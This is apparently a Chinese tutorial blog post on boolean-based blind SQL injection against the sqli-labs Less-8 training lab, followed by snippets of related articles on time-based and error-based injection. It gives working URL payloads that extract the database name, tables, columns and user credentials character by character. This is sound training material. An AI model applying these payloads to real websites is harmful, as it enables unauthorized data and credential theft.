布尔盲注(基于sqli-labs第八关)

布尔盲注(基于sqli-labs第八关)

对于盲注只有2种感觉,好玩,好烦。

新技能好玩,一个一个猜好烦。不知道你们是否跟我一样。

手工注入,一个个猜解。大多数人都会觉得特别烦躁的东西。

注入还设有第一点,看注入点在哪里。

个人的查看注入点的方式‘单引号,“双引号,

http://localhost/sqli/Less-8/?id=1 #正常

http://localhost/sqli/Less-8/?id=1‘ #不正常

http://localhost/sqli/Less-8/?id=1" #正常

接下来就是构造闭合

http://localhost/sqli/Less-8/?id=1‘--+ #正常,我可以认为是闭合成功了。

http://localhost/sqli/Less-8/?id=1‘ and 1=1--+ #正常

http://localhost/sqli/Less-8/?id=1‘ and 1=2--+ #不正常

接下来我可以尝试猜解数据库了。首先猜解数据库的长度。数据库猜解长度的函数length

length() 返回字符串的长度

http://localhost/sqli/Less-8/?id=1‘ and length(database())>1--+ #肯定大于1,这个事实

http://localhost/sqli/Less-8/?id=1‘ and length(database())>7--+ #大于7

http://localhost/sqli/Less-8/?id=1‘ and length(database())>8--+ #不大于8

http://localhost/sqli/Less-8/?id=1‘ and length(database())=8--+ #数据库等于8,然后呢!

然后猜解字符了,编辑坑爹呀!感觉还是写个字典用burp跑

通过ascii()和substr()猜测数据库名

ascii() #返回指定数字对应的ascii码字符函数

substr() #截取从pos位置开始到最后的所有str字符串

http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr(database(),1,1)))=115--+ #115=s

不停的爆破

第二个是101 e

第三个是 99 c

第四个是117 u

第五个是114 r

第六个是105 i

第七个是116 t

第八个是121 y

可以得到数据库名字为:security


接下来头疼的爆数据表,盲注果然是很枯燥的事情。

http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1)))=117--+

第一个数据表 101,109,97,105,108,115 =>emails

第二个数据表 114,101,102,101,114,101,114,115 =>referers

第三个数据表 117,97,103,101,110,116,115 =>uagents

第四个数据表 117,115,101,114,115 =>users


爆字段了,我是有点奔溃了。。。。接下来更加坑爹的爆字段。

http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105--+

第一个字段 117,115,101,114,95,105,100 =>user_id

第二个字段 102,105,114,115,116,95,110,97,109,101 =>first_name

内心是奔溃,想办法简略一下。不是117=u或者112=p直接忽略

第三个字段 108 pass =>last_name

第四个字段 117,115,101,114 =>user

第五个字段 112,97,115,115,119,111,114,100, =>password

第六个字段 97 pass =>avatar

第七个字段 105 =》id

第八个字段 117,115,101,114,110,97,109,101 =>username

猜解一下用户名username,密码password


感觉太悲催。

http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select username from users limit 0,1),1,1)))=105--+

第一个用户名:68,117,109,98 =>Dumb

http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select password from users limit 0,1),1,1)))=68--+

第一个密码:68,117,109,98 =>Dumb

原文地址:https://www.cnblogs.com/llcn/p/12698583.html

时间: 04-14

布尔盲注(基于sqli-labs第八关)的相关文章

sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)

写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开 C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv=“/”. 重启phpstudy 权限就改过来了 1.load_file(file_name)导出文件函数: Load_file(file

基于布尔的盲注

盲注是注入的一种,指的是在不知道数据返回值的情况下对数据中的内容进行猜测,实施注入.盲注一般分为布尔盲注和基于时间的盲注 #coding:utf-8 2 import requests 3 4 # chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' 5 6 #得知库名长度是8:http://localhost/sqlilabs/Less-8/?id=2' and length(database())>2

注入学习(3) Mysql+php注入 基于bool和时间的盲注

练习三:Mysql+php 基于bool和时间的盲注 今天要用的函数(详细的直接看链接): left()函数:left()得到字符串左部指定个数的字符 left( string, n ) #string为要截取的字符串,n为长度 limit()函数:标准定义找百度 limit(a,b)  #我的理解 从第a个位置,截取b个数据 if语句/if()函数:在MySQL中语法如下 if(a,b,c)  #如果a为真,则if()函数执行b语句; 否则if()函数执行c语句; sleep()函数:函数代码

MYSQL注入天书之盲注讲解

Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从background-1中,我们可以知道盲注分为三类 ?基于布尔SQL盲注 ?基于时间的SQL盲注 ?基于报错的SQL盲注 Ps:知识点太多了,这里只能简单列出来大致讲解一下.(ps:每当看到前辈的奇淫技巧的payload时,能想象到我内心的喜悦么?我真的想细细的写写这一块,但是不知道该怎么写或者小伙伴

SQL盲注注入

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入.盲注一般分为布尔盲注和基于时间的盲注和报错的盲注.本次主要讲解的是基于布尔的盲注. Length()函数 返回字符串的长度 Substr()截取字符串 Ascii()返回字符的ascii码 sleep(n):将程序挂起一段时间 n为n秒 if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句 当然如果上面的函数被禁用,也有相应的函数替换.可百度 布尔

sqli labs注入记录(Less-1至Less-10)

Less-1:基于错误的GET单引号字符型注入 我们首先注入一个单引号’,出现SQL语法错误,多出一个单引号,后面闭合语句也是用的单引号: http://127.0.0.1/sqli_labs/Less-1/?id=1’ 再次注入一条SQL语句,因为条件永远为真,响应正常: http://127.0.0.1/sqli_labs/Less-1/?id=1' and '1'='1 下面猜解字段数: http://127.0.0.1/sqli_labs/Less-1/?id=1' order by 1

DVWA-sql注入(盲注)

DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程. DVWA共有十个模块,分别是Brute Force(暴力(破解)).Command Injection(命令行注入).CSRF(跨站请求伪造).File Inclusion(文件包含).File Upload(文件上传).Insecure

Python:SQLMap源码精读之基于时间的盲注(time-based blind)

基于时间的盲注(time-based blind) 测试应用是否存在SQL注入漏洞时,经常发现某一潜在的漏洞难以确认.这可能源于多种原因,但主要是因为Web应用未显示任何错误,因而无法检索任何数据. 对于这种情况,要想识别漏洞,向数据库注入时间延迟并检查服务器响应是否也已经延迟会很有帮助.时间延迟是一种很强大的技术,Web服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果,因此可用它来确认是否存在SQL注入.该技术尤其适合盲注. 源码解释 代码位置:在checkSqlInjection函数中

Python:SQLMap源码精读之基于错误的盲注(error-based blind)

目标网址 http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1 Payload的生成 1 <test> 2 <title>MySQL >= 5.0 AND error-based - WHERE or HAVING clause</title> 3 <stype>2</stype> 4 <level>1</level> 5 <risk>0</r

mysql基于“时间”的盲注

无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 ====================================================================================================================================================================== * 猜解库名 - 下面是猜解正确 mysql> select sleep(1) from (sele